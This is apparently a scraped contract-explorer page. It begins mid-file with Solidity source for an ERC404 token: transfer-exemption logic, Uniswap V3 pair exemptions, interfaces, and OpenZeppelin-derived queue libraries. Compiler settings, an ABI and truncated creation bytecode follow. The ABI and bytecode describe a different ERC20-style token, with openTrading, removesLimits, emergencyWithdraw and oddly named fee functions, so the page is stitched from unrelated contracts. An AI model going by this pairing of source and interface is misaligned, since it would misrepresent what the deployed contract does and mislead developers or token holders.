unnecessary targets function _setERC721TransferExempt( address target_, bool state_ ) internal virtual { if (target_ == address(0)) { revert InvalidExemption(); } // Adjust the ERC721 balances of the target to respect exemption rules. // Despite this logic, it is still recommended practice to exempt prior to the target // having an active balance. if (state_) { _clearERC721Balance(target_); } else { _reinstateERC721Balance(target_); } _erc721TransferExempt[target_] = state_; } /// @notice Function to reinstate balance on exemption removal function _reinstateERC721Balance(address target_) private { uint256 expectedERC721Balance = erc20BalanceOf(target_) / units; uint256 actualERC721Balance = erc721BalanceOf(target_); for (uint256 i = 0; i < expectedERC721Balance - actualERC721Balance; ) { // Transfer ERC721 balance in from pool _retrieveOrMintERC721(target_); unchecked { ++i; } } } /// @notice Function to clear balance on exemption inclusion function _clearERC721Balance(address target_) private { uint256 erc721Balance = erc721BalanceOf(target_); for (uint256 i = 0; i < erc721Balance; ) { // Transfer out ERC721 balance _withdrawAndStoreERC721(target_); unchecked { ++i; } } } function _getOwnerOf( uint256 id_ ) internal view virtual returns (address ownerOf_) { uint256 data = _ownedData[id_]; assembly { ownerOf_ := and(data, _BITMASK_ADDRESS) } } function _setOwnerOf(uint256 id_, address owner_) internal virtual { uint256 data = _ownedData[id_]; assembly { data := add( and(data, _BITMASK_OWNED_INDEX), and(owner_, _BITMASK_ADDRESS) ) } _ownedData[id_] = data; } function _getOwnedIndex( uint256 id_ ) internal view virtual returns (uint256 ownedIndex_) { uint256 data = _ownedData[id_]; assembly { ownedIndex_ := shr(160, data) } } function _setOwnedIndex(uint256 id_, uint256 index_) internal virtual { uint256 data = _ownedData[id_]; if (index_ > _BITMASK_OWNED_INDEX >> 160) { revert OwnedIndexOverflow(); } assembly { data := add( and(data, _BITMASK_ADDRESS), and(shl(160, index_), _BITMASK_OWNED_INDEX) ) } _ownedData[id_] = data; } } interface IPeripheryImmutableState { /// @return Returns the address of the Uniswap V3 factory function factory() external view returns (address); /// @return Returns the address of WETH9 function WETH9() external view returns (address); } //SPDX-License-Identifier: MIT abstract contract ERC404UniswapV3Exempt is ERC404 { error ERC404UniswapV3ExemptFactoryMismatch(); error ERC404UniswapV3ExemptWETH9Mismatch(); constructor( address uniswapV3Router_, address uniswapV3NonfungiblePositionManager_ ) { IPeripheryImmutableState uniswapV3Router = IPeripheryImmutableState( uniswapV3Router_ ); // Set the Uniswap v3 swap router as exempt. _setERC721TransferExempt(uniswapV3Router_, true); IPeripheryImmutableState uniswapV3NonfungiblePositionManager = IPeripheryImmutableState( uniswapV3NonfungiblePositionManager_ ); // Set the Uniswap v3 nonfungible position manager as exempt. _setERC721TransferExempt(uniswapV3NonfungiblePositionManager_, true); // Require the Uniswap v3 factory from the position manager and the swap router to be the same. if ( uniswapV3Router.factory() != uniswapV3NonfungiblePositionManager.factory() ) { revert ERC404UniswapV3ExemptFactoryMismatch(); } // Require the Uniswap v3 WETH9 from the position manager and the swap router to be the same. if ( uniswapV3Router.WETH9() != uniswapV3NonfungiblePositionManager.WETH9() ) { revert ERC404UniswapV3ExemptWETH9Mismatch(); } uint24[4] memory feeTiers = [ uint24(100), uint24(500), uint24(3_000), uint24(10_000) ]; // Determine the Uniswap v3 pair address for this token. for (uint256 i = 0; i < feeTiers.length; ) { address uniswapV3Pair = _getUniswapV3Pair( uniswapV3Router.factory(), uniswapV3Router.WETH9(), feeTiers[i] ); // Set the Uniswap v3 pair as exempt. _setERC721TransferExempt(uniswapV3Pair, true); unchecked { ++i; } } } function _getUniswapV3Pair( address uniswapV3Factory_, address weth_, uint24 fee_ ) private view returns (address) { address thisAddress = address(this); (address token0, address token1) = thisAddress < weth_ ? (thisAddress, weth_) : (weth_, thisAddress); return address( uint160( uint256( keccak256( abi.encodePacked( hex"ff", uniswapV3Factory_, keccak256(abi.encode(token0, token1, fee_)), hex"e34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b54" ) ) ) ) ); } }
pragma solidity ^0.8.20; //SPDX-License-Identifier: MIT interface IERC404MerkleClaim { error AirdropAlreadyClaimed(); error NotEligibleForAirdrop(); error AirdropIsClosed(); function verifyProof( bytes32[] memory proof_, address claimer_, uint256 value_ ) external view returns (bool); function airdropMint(bytes32[] memory proof_, uint256 value_) external; }
//SPDX-License-Identifier: MIT pragma solidity ^0.8.20; interface IERC404 { error NotFound(); error InvalidTokenId(); error AlreadyExists(); error InvalidRecipient(); error InvalidSender(); error InvalidSpender(); error InvalidOperator(); error UnsafeRecipient(); error RecipientIsERC721TransferExempt(); error Unauthorized(); error InsufficientAllowance(); error DecimalsTooLow(); error PermitDeadlineExpired(); error InvalidSigner(); error InvalidApproval(); error OwnedIndexOverflow(); error MintLimitReached(); error InvalidExemption(); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function erc20TotalSupply() external view returns (uint256); function erc721TotalSupply() external view returns (uint256); function balanceOf(address owner_) external view returns (uint256); function erc721BalanceOf(address owner_) external view returns (uint256); function erc20BalanceOf(address owner_) external view returns (uint256); function erc721TransferExempt(address account_) external view returns (bool); function isApprovedForAll( address owner_, address operator_ ) external view returns (bool); function allowance( address owner_, address spender_ ) external view returns (uint256); function owned(address owner_) external view returns (uint256[] memory); function ownerOf(uint256 id_) external view returns (address erc721Owner); function tokenURI(uint256 id_) external view returns (string memory); function approve( address spender_, uint256 valueOrId_ ) external returns (bool); function erc20Approve( address spender_, uint256 value_ ) external returns (bool); function erc721Approve(address spender_, uint256 id_) external; function setApprovalForAll(address operator_, bool approved_) external; function transferFrom( address from_, address to_, uint256 valueOrId_ ) external returns (bool); function erc20TransferFrom( address from_, address to_, uint256 value_ ) external returns (bool); function erc721TransferFrom(address from_, address to_, uint256 id_) external; function transfer(address to_, uint256 amount_) external returns (bool); function getERC721QueueLength() external view returns (uint256); function getERC721TokensInQueue( uint256 start_, uint256 count_ ) external view returns (uint256[] memory); function setSelfERC721TransferExempt(bool state_) external; function safeTransferFrom(address from_, address to_, uint256 id_) external; function safeTransferFrom( address from_, address to_, uint256 id_, bytes calldata data_ ) external; function DOMAIN_SEPARATOR() external view returns (bytes32); function permit( address owner_, address spender_, uint256 value_, uint256 deadline_, uint8 v_, bytes32 r_, bytes32 s_ ) external; }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance( address owner, address spender ) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v5.0.0) (utils/structs/DoubleEndedQueue.sol) // Modified by Pandora Labs to support native uint256 operations pragma solidity ^0.8.20; /** * @dev A sequence of items with the ability to efficiently push and pop items (i.e. insert and remove) on both ends of * the sequence (called front and back). Among other access patterns, it can be used to implement efficient LIFO and * FIFO queues. Storage use is optimized, and all operations are O(1) constant time. This includes {clear}, given that * the existing queue contents are left in storage. * * The struct is called `Uint256Deque`. This data structure can only be used in storage, and not in memory. * * ```solidity * DoubleEndedQueue.Uint256Deque queue; * ``` */ library DoubleEndedQueue { /** * @dev An operation (e.g. {front}) couldn't be completed due to the queue being empty. */ error QueueEmpty(); /** * @dev A push operation couldn't be completed due to the queue being full. */ error QueueFull(); /** * @dev An operation (e.g. {at}) couldn't be completed due to an index being out of bounds. */ error QueueOutOfBounds(); /** * @dev Indices are 128 bits so begin and end are packed in a single storage slot for efficient access. * * Struct members have an underscore prefix indicating that they are "private" and should not be read or written to * directly. Use the functions provided below instead. Modifying the struct manually may violate assumptions and * lead to unexpected behavior. * * The first item is at data[begin] and the last item is at data[end - 1]. This range can wrap around. */ struct Uint256Deque { uint128 _begin; uint128 _end; mapping(uint128 index => uint256) _data; } /** * @dev Inserts an item at the end of the queue. * * Reverts with {QueueFull} if the queue is full. */ function pushBack(Uint256Deque storage deque, uint256 value) internal { unchecked { uint128 backIndex = deque._end; if (backIndex + 1 == deque._begin) revert QueueFull(); deque._data[backIndex] = value; deque._end = backIndex + 1; } } /** * @dev Removes the item at the end of the queue and returns it. * * Reverts with {QueueEmpty} if the queue is empty. */ function popBack( Uint256Deque storage deque ) internal returns (uint256 value) { unchecked { uint128 backIndex = deque._end; if (backIndex == deque._begin) revert QueueEmpty(); --backIndex; value = deque._data[backIndex]; delete deque._data[backIndex]; deque._end = backIndex; } } /** * @dev Inserts an item at the beginning of the queue. * * Reverts with {QueueFull} if the queue is full. */ function pushFront(Uint256Deque storage deque, uint256 value) internal { unchecked { uint128 frontIndex = deque._begin - 1; if (frontIndex == deque._end) revert QueueFull(); deque._data[frontIndex] = value; deque._begin = frontIndex; } } /** * @dev Removes the item at the beginning of the queue and returns it. * * Reverts with `QueueEmpty` if the queue is empty. */ function popFront( Uint256Deque storage deque ) internal returns (uint256 value) { unchecked { uint128 frontIndex = deque._begin; if (frontIndex == deque._end) revert QueueEmpty(); value = deque._data[frontIndex]; delete deque._data[frontIndex]; deque._begin = frontIndex + 1; } } /** * @dev Returns the item at the beginning of the queue. * * Reverts with `QueueEmpty` if the queue is empty. */ function front( Uint256Deque storage deque ) internal view returns (uint256 value) { if (empty(deque)) revert QueueEmpty(); return deque._data[deque._begin]; } /** * @dev Returns the item at the end of the queue. * * Reverts with `QueueEmpty` if the queue is empty. */ function back( Uint256Deque storage deque ) internal view returns (uint256 value) { if (empty(deque)) revert QueueEmpty(); unchecked { return deque._data[deque._end - 1]; } } /** * @dev Return the item at a position in the queue given by `index`, with the first item at 0 and last item at * `length(deque) - 1`. * * Reverts with `QueueOutOfBounds` if the index is out of bounds. */ function at( Uint256Deque storage deque, uint256 index ) internal view returns (uint256 value) { if (index >= length(deque)) revert QueueOutOfBounds(); // By construction, length is a uint128, so the check above ensures that index can be safely downcast to uint128 unchecked { return deque._data[deque._begin + uint128(index)]; } } /** * @dev Resets the queue back to being empty. * * NOTE: The current items are left behind in storage. This does not affect the functioning of the queue, but misses * out on potential gas refunds. */ function clear(Uint256Deque storage deque) internal { deque._begin = 0; deque._end = 0; } /** * @dev Returns the number of items in the queue. */ function length(Uint256Deque storage deque) internal view returns (uint256) { unchecked { return uint256(deque._end - deque._begin); } } /** * @dev Returns true if the queue is empty. */ function empty(Uint256Deque storage deque) internal view returns (bool) { return deque._end == deque._begin; } }
// SPDX-License-Identifier: MIT pragma solidity ^0.8.20; library ERC20Events { event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 amount); }
// SPDX-License-Identifier: MIT pragma solidity ^0.8.20; library ERC721Events { event ApprovalForAll( address indexed owner, address indexed operator, bool approved ); event Approval( address indexed owner, address indexed spender, uint256 indexed id ); event Transfer(address indexed from, address indexed to, uint256 indexed id); }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v5.0.0) (utils/structs/DoubleEndedQueue.sol) // Modified by Pandora Labs to support native packed operations pragma solidity ^0.8.20; /** * @dev A sequence of items with the ability to efficiently push and pop items (i.e. insert and remove) on both ends of * the sequence (called front and back). Among other access patterns, it can be used to implement efficient LIFO and * FIFO queues. Storage use is optimized, and all operations are O(1) constant time. This includes {clear}, given that * the existing queue contents are left in storage. * * The struct is called `Uint16Deque`. And is designed for packed uint16 values, though this approach can be * extrapolated to different implementations. This data structure can only be used in storage, and not in memory. * * ```solidity * PackedDoubleEndedQueue.Uint16Deque queue; * ``` */ library PackedDoubleEndedQueue { uint128 constant SLOT_MASK = (1 << 64) - 1; uint128 constant INDEX_MASK = SLOT_MASK << 64; uint256 constant SLOT_DATA_MASK = (1 << 16) - 1; /** * @dev An operation (e.g. {front}) couldn't be completed due to the queue being empty. */ error QueueEmpty(); /** * @dev A push operation couldn't be completed due to the queue being full. */ error QueueFull(); /** * @dev An operation (e.g. {at}) couldn't be completed due to an index being out of bounds. */ error QueueOutOfBounds(); /** * @dev Invalid slot. */ error InvalidSlot(); /** * @dev Indices and slots are 64 bits to fit within a single storage slot. * * Struct members have an underscore prefix indicating that they are "private" and should not be read or written to * directly. Use the functions provided below instead. Modifying the struct manually may violate assumptions and * lead to unexpected behavior. * * The first item is at data[begin] and the last item is at data[end - 1]. This range can wrap around. */ struct Uint16Deque { uint64 _beginIndex; uint64 _beginSlot; uint64 _endIndex; uint64 _endSlot; mapping(uint64 index => uint256) _data; } /** * @dev Removes the item at the end of the queue and returns it. * * Reverts with {QueueEmpty} if the queue is empty. */ function popBack(Uint16Deque storage deque) internal returns (uint16 value) { unchecked { uint64 backIndex = deque._endIndex; uint64 backSlot = deque._endSlot; if (backIndex == deque._beginIndex && backSlot == deque._beginSlot) revert QueueEmpty(); if (backSlot == 0) { --backIndex; backSlot = 15; } else { --backSlot; } uint256 data = deque._data[backIndex]; value = _getEntry(data, backSlot); deque._data[backIndex] = _setData(data, backSlot, 0); deque._endIndex = backIndex; deque._endSlot = backSlot; } } /** * @dev Inserts an item at the beginning of the queue. * * Reverts with {QueueFull} if the queue is full. */ function pushFront(Uint16Deque storage deque, uint16 value_) internal { unchecked { uint64 frontIndex = deque._beginIndex; uint64 frontSlot = deque._beginSlot; if (frontSlot == 0) { --frontIndex; frontSlot = 15; } else { --frontSlot; } if (frontIndex == deque._endIndex && frontSlot == deque._endSlot) revert QueueFull(); deque._data[frontIndex] = _setData( deque._data[frontIndex], frontSlot, value_ ); deque._beginIndex = frontIndex; deque._beginSlot = frontSlot; } } /** * @dev Return the item at a position in the queue given by `index`, with the first item at 0 and last item at * `length(deque) - 1`. * * Reverts with `QueueOutOfBounds` if the index is out of bounds. */ function at( Uint16Deque storage deque, uint256 index_ ) internal view returns (uint16 value) { if (index_ >= length(deque) * 16) revert QueueOutOfBounds(); unchecked { return _getEntry( deque._data[ deque._beginIndex + uint64(deque._beginSlot + (index_ % 16)) / 16 + uint64(index_ / 16) ], uint64(((deque._beginSlot + index_) % 16)) ); } } /** * @dev Returns the number of items in the queue. */ function length(Uint16Deque storage deque) internal view returns (uint256) { unchecked { return (16 - deque._beginSlot) + deque._endSlot + deque._endIndex * 16 - deque._beginIndex * 16 - 16; } } /** * @dev Returns true if the queue is empty. */ function empty(Uint16Deque storage deque) internal view returns (bool) { return deque._endSlot == deque._beginSlot && deque._endIndex == deque._beginIndex; } function _setData( uint256 data_, uint64 slot_, uint16 value ) private pure returns (uint256) { return (data_ & (~_getSlotMask(slot_))) + (uint256(value) << (16 * slot_)); } function _getEntry(uint256 data, uint64 slot_) private pure returns (uint16) { return uint16((data & _getSlotMask(slot_)) >> (16 * slot_)); } function _getSlotMask(uint64 slot_) private pure returns (uint256) { return SLOT_DATA_MASK << (slot_ * 16); } }
{ "optimizer": { "enabled": true, "runs": 200 }, "evmVersion": "shanghai", "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "metadata": { "useLiteralContent": true }, "libraries": {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"LoanIndicators","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetEntrancesPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"string","name":"","type":"string"}],"name":"SwapFailed","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_lendingFee","type":"uint256"},{"internalType":"uint256","name":"_borrowFee","type":"uint256"}],"name":"changingLoanRate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"emergencyWithdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"entrancesPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isLoanIndicators","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"loanDecorators","outputs":[{"internalType":"uint256","name":"lendingFee","type":"uint256"},{"internalType":"uint256","name":"borrowFee","type":"uint256"},{"internalType":"uint256","name":"insuranceLoanAmountLimit","type":"uint256"},{"internalType":"uint256","name":"personalLoanAmountLimit","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removesLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapLpWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60a060405269152d02c7e14af6800000600955600a805461ffff1916905534801562000029575f80fd5b5060405162001feb38038062001feb8339810160408190526200004c91620004a0565b60405180604001604052806006815260200165141055cd0c0d60d21b8152506040518060400160405280600381526020016250415760e81b81525081600390816200009891906200056c565b506004620000a782826200056c565b505050620000c4620000be620002e260201b60201c565b620002e6565b737a250d5630b4cf539739df2c5dacb4c659f2488d6080819052600a805462010000600160b01b031916620100006001600160a01b038516021790555f5260106020527feb1861b62122c39d7846b597c3c20bac261ab9032a26ee7d64c4c7f875977df8805460ff191660011790556001600160a01b0381165f908152601060205260409020805460ff19166001179055600880546001600160a01b031916331790555f600b819055600c556009546064906200018290826200064c565b6200018e91906200066c565b600d55600954606490620001a390826200064c565b620001af91906200066c565b600e5560058054336001600160a01b03199182168117909255600680549091169091179055620001f3620001eb6007546001600160a01b031690565b600162000337565b6200020081600162000337565b6200020d30600162000337565b6200021c61dead600162000337565b62000256620002336007546001600160a01b031690565b6001600160a01b03165f908152601060205260409020805460ff19166001179055565b305f908152601060205260409020805460ff1916600117905561dead5f5260106020527f9e93e1db4a1f807cc22b2aecf4deeb0bf5745f1ecb319e87c68c5624c0fa6b69805460ff19166001179055600854600954620002db916001600160a01b031690606490620002c990826200064c565b620002d591906200066c565b62000395565b50620006a2565b3390565b600780546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0382165f818152600f6020908152604091829020805460ff191685151590811790915591519182527f76a71952208d161349d0da706bac66d1ff8dcb94cd0e0a5335e8b95386c59c05910160405180910390a25050565b6001600160a01b038216620003f05760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060025f8282546200040391906200068c565b90915550506001600160a01b038083165f818152602081905260409020805484019055600654909116900362000469576005546040518281526001600160a01b03909116905f905f8051602062001fcb8339815191529060200160405180910390a35050565b6040518181526001600160a01b038316905f905f8051602062001fcb8339815191529060200160405180910390a35050565b505050565b5f60208284031215620004b1575f80fd5b81516001600160a01b0381168114620004c8575f80fd5b9392505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c90821680620004f857607f821691505b6020821081036200051757634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200049b57805f5260205f20601f840160051c81016020851015620005445750805b601f840160051c820191505b8181101562000565575f815560010162000550565b5050505050565b81516001600160401b03811115620005885762000588620004cf565b620005a081620005998454620004e3565b846200051d565b602080601f831160018114620005d6575f8415620005be5750858301515b5f19600386901b1c1916600185901b17855562000630565b5f85815260208120601f198616915b828110156200060657888601518255948401946001909101908401620005e5565b50858210156200062457878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b634e487b7160e01b5f52601160045260245ffd5b808202811582820484141762000666576200066662000638565b92915050565b5f826200068757634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111562000666576200066662000638565b6080516118f4620006d75f395f818161070c0152818161079b015281816108da01528181610d370152610de001526118f45ff3fe60806040526004361061014a575f3560e01c8063715018a6116100b3578063c9567bf91161006d578063c9567bf9146103cc578063db2e21bc146103e0578063dd62ed3e146103f4578063f2fde38b14610413578063f817b10314610432578063ffb54a9914610474575f80fd5b8063715018a6146103125780638490c446146103265780638da5cb5b1461035d57806395d89b411461037a578063a457c2d71461038e578063a9059cbb146103ad575f80fd5b8063372df89e11610104578063372df89e1461023d578063395093511461025e578063460731151461027d57806349bd5a5e146102915780636dc44c8f146102b057806370a08231146102de575f80fd5b806306fdde0314610155578063095ea7b31461017f57806318160ddd146101ae57806323b872dd146101cc578063250e39b1146101eb578063313ce56714610222575f80fd5b3661015157005b5f80fd5b348015610160575f80fd5b5061016961048d565b60405161017691906115ad565b60405180910390f35b34801561018a575f80fd5b5061019e61019936600461160d565b61051d565b6040519015158152602001610176565b3480156101b9575f80fd5b506002545b604051908152602001610176565b3480156101d7575f80fd5b5061019e6101e6366004611637565b610536565b3480156101f6575f80fd5b5060085461020a906001600160a01b031681565b6040516001600160a01b039091168152602001610176565b34801561022d575f80fd5b5060405160128152602001610176565b348015610248575f80fd5b5061025c610257366004611675565b610559565b005b348015610269575f80fd5b5061019e61027836600461160d565b6105c8565b348015610288575f80fd5b5061025c6105e9565b34801561029c575f80fd5b5060125461020a906001600160a01b031681565b3480156102bb575f80fd5b5061019e6102ca366004611695565b60116020525f908152604090205460ff1681565b3480156102e9575f80fd5b506101be6102f8366004611695565b6001600160a01b03165f9081526020819052604090205490565b34801561031d575f80fd5b5061025c610606565b348015610331575f80fd5b5061019e610340366004611695565b6001600160a01b03165f908152600f602052604090205460ff1690565b348015610368575f80fd5b506007546001600160a01b031661020a565b348015610385575f80fd5b50610169610619565b348015610399575f80fd5b5061019e6103a836600461160d565b610628565b3480156103b8575f80fd5b5061019e6103c736600461160d565b6106a2565b3480156103d7575f80fd5b5061025c6106af565b3480156103eb575f80fd5b5061025c61090f565b3480156103ff575f80fd5b506101be61040e3660046116b7565b610932565b34801561041e575f80fd5b5061025c61042d366004611695565b61095c565b34801561043d575f80fd5b50600b54600c54600d54600e546104549392919084565b604080519485526020850193909352918301526060820152608001610176565b34801561047f575f80fd5b50600a5461019e9060ff1681565b60606003805461049c906116ee565b80601f01602080910402602001604051908101604052809291908181526020018280546104c8906116ee565b80156105135780601f106104ea57610100808354040283529160200191610513565b820191905f5260205f20905b8154815290600101906020018083116104f657829003601f168201915b5050505050905090565b5f3361052a8185856109d5565b60019150505b92915050565b5f33610543858285610af8565b61054e858585610b70565b506001949350505050565b610561610f41565b601e8211158015610573575060648111155b6105bd5760405162461bcd60e51b8152602060048201526016602482015275466565732063616e6e6f74206578636565642033302560501b60448201526064015b60405180910390fd5b600b91909155600c55565b5f3361052a8185856105da8383610932565b6105e4919061173a565b6109d5565b6105f1610f41565b5f6105fb60025490565b600d819055600e5550565b61060e610f41565b6106175f610f9b565b565b60606004805461049c906116ee565b5f33816106358286610932565b9050838110156106955760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016105b4565b61054e82868684036109d5565b5f3361052a818585610b70565b6106b7610f41565b600a5460ff161561070a5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105b4565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610766573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061078a919061174d565b6001600160a01b031663e6a43905307f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107f5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610819919061174d565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610862573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610886919061174d565b601280546001600160a01b0319166001600160a01b039290921691821790555f908152601060205260409020805460ff191660011790556012546108d4906001600160a01b03166001610fec565b610900307f00000000000000000000000000000000000000000000000000000000000000005f196109d5565b600a805460ff19166001179055565b610917610f41565b305f818152602081905260409020546106179190339061103f565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b610964610f41565b6001600160a01b0381166109c95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105b4565b6109d281610f9b565b50565b6001600160a01b038316610a375760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105b4565b6001600160a01b038216610a985760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105b4565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f610b038484610932565b90505f198114610b6a5781811015610b5d5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616